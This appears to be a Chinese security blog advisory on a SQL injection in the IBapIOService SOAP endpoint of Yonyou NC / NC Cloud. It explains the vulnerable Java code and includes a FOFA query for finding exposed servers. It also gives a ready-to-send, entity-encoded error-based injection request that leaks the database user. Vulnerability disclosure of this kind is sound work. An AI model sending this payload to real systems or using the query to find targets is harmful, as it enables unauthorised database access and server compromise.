用友NC及NC Cloud系统 IBapIOService SQL注入漏洞


漏洞简介

用友 NC Cloud 是一种商业级的企业资源规划云平台,为企业提供全面的管理解决方案,包括财务管理、采购管理、销售管理、人力资源管理等功能,基于云原生架构,深度应用新一代数字技术,打造开放、 互联、融合、智能的一体化云平台,支持公有云、混合云、专属云的灵活部署模式。聚焦数字化管理、数字化经营、数字化平台等三大企业数字化转型战略方向,提供涵盖数字营销、智能制造、财务共享、人力共享与协同,智慧采购、数字中台等18大解决方案,助力大型企业全面落地数字化和业务流程优化。用友NC Cloud nc.itf.bap.service.IBapIOService 接口处存在SQL注入漏洞,未授权的攻击者可以通过此漏洞获取数据库权限,进一步利用可导致服务器失陷。

影响版本

NC65、NCC1903、NCC1909、NCC2005、NCC2105、NCC2111

fofa语法

body="html/downloadBroswer.html" && body="platform/pub/welcome.do"

漏洞分析

看下 nc.itf.bap.service.IBapIOService 的业务逻辑实现

public BapTableEntity[] getBapTable(String... tableIds) throws Exception {
        PerfWatch pw = new PerfWatch(NCLangRes4VoTransl.getNCLangRes().getStrByID("8001006_0", "08001006-0271") + StringTools.arr2Str(tableIds, ","));

        BapTableEntity[] tableList;
        try {
            if (!ArrayUtils.isEmpty(tableIds)) {
                List<BapTableEntity> tableList = new ArrayList();

                for(String tableId : tableIds) {
                    MetaTableDef tableDef = null;

                    try {
                        tableDef = this.getMetaDef(tableId);
                    } catch (Exception e) {
                        pw.appendMessage(e.getMessage());
                        throw e;
                    }

                    if (tableDef != null) {
                        tableList.add(BapTableEntity.valueof(tableDef));
                    }
                }

tableIds 带入 getMetaDef 函数,其实现逻辑如下

private MetaTableDef getMetaDef(String tableId) throws SmartMetaException {
        String[] splits = tableId.split("@");
        if (!ArrayUtils.isEmpty(splits) && splits.length >= 2) {
            MetaTableDef tableDef = SmartMetaUtilities.getSmartMetaService().getMetaTableByTableName(splits[1], splits[0]);
            if (tableDef == null) {

对传入的 tableIds 按照 @ 分割成数组,再将分割后的数组0 和 数组1 带入 SmartMetaUtilities.getSmartMetaService().getMetaTableByTableName 函数,其实现逻辑如下

public MetaTableDef getMetaTableByTableName(String dsName, String tableName) throws SmartMetaException {
        if (StringUtils.isEmpty(tableName)) {
            return null;
        } else {
            String clause = " upper(tableid)='" + tableName.toUpperCase() + "' ";
            if (StringUtils.isEmpty(dsName)) {
                clause = clause + "and isnull(dsname,'~')='~' ";
            } else {
                clause = clause + "and upper(dsname)='" + dsName.toUpperCase() + "'";
            }

            Object[] datas = (new DAOAction()).loadByClause(MetaTable.class, SmartConfigCache.getDsName4Design(), clause);

数组1 代表 dsName,数组0 代表 tableName,分别将两个数组部分拼接在SQL语句中,造成SQL注入漏洞。

根据报错也可以看到拼接结果

sql:SELECT guid,dsname,tableid,displayname,displayname2,displayname3,displayname4,displayname5,displayname6,moduleid,authtype,help,creationtime,modifiedtime,creator,modifier,pk_org,pk_group,dirguid,dr,ts,assetLayer,assetIndustry FROM bi_md_table WHERE  upper(tableid)='DWQUEUE' and upper(dsname)='MESSAGEQUEUE'OR 1 IN (SELECT HOST_NAME())' Unclosed quotation mark after the character string ''.

漏洞复现

直接访问 wsdl 获取原始 wsdl 内容

GET /uapws/service/nc.itf.bap.service.IBapIOService?wsdl HTTP/1.1
Host: ncc.mrxn.net

直接使用 Burp Suite 自带的API 扫描 扫描此soap api接口即可得到HTTP请求报文。

漏洞验证

POST /uapws/service/nc.itf.bap.service.IBapIOService HTTP/1.1
Host: ncc.mrxn.net
Content-Type: text/xml

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:gs="http://service.bap.itf.nc/IBapIOService">
    <soapenv:Header>
    <soapenv:Body>
        <gs:getBapTable>
            <gs:stringarrayItem>&#x44;&#x57;&#x51;&#x75;&#x65;&#x75;&#x65;&#x40;&#x4d;&#x65;&#x73;&#x73;&#x61;&#x67;&#x65;&#x51;&#x75;&#x65;&#x75;&#x65;&#x27;&#x20;&#x41;&#x4e;&#x44;&#x20;&#x31;&#x3d;&#x55;&#x54;&#x4c;&#x5f;&#x49;&#x4e;&#x41;&#x44;&#x44;&#x52;&#x2e;&#x47;&#x45;&#x54;&#x5f;&#x48;&#x4f;&#x53;&#x54;&#x5f;&#x41;&#x44;&#x44;&#x52;&#x45;&#x53;&#x53;&#x28;&#x27;&#x7e;&#x27;&#x7c;&#x7c;&#x28;&#x75;&#x73;&#x65;&#x72;&#x29;&#x7c;&#x7c;&#x27;&#x7e;&#x27;&#x29;&#x2d;&#x2d;</gs:stringarrayItem>
        </gs:getBapTable>
    </soapenv:Body>
</soapenv:Envelope>

通过报错注入,成功在响应回显数据库用户信息

针对 mssql 数据库可使用延时或堆叠注入进行验证。

解决方案

打对应补丁,重启服务

参考


手机扫码阅读

一段会迅速耗尽你机器内存的Java 代码

用友NC/NCC文件服务器配置管理 FsConsoleService SQL注入漏洞

评 论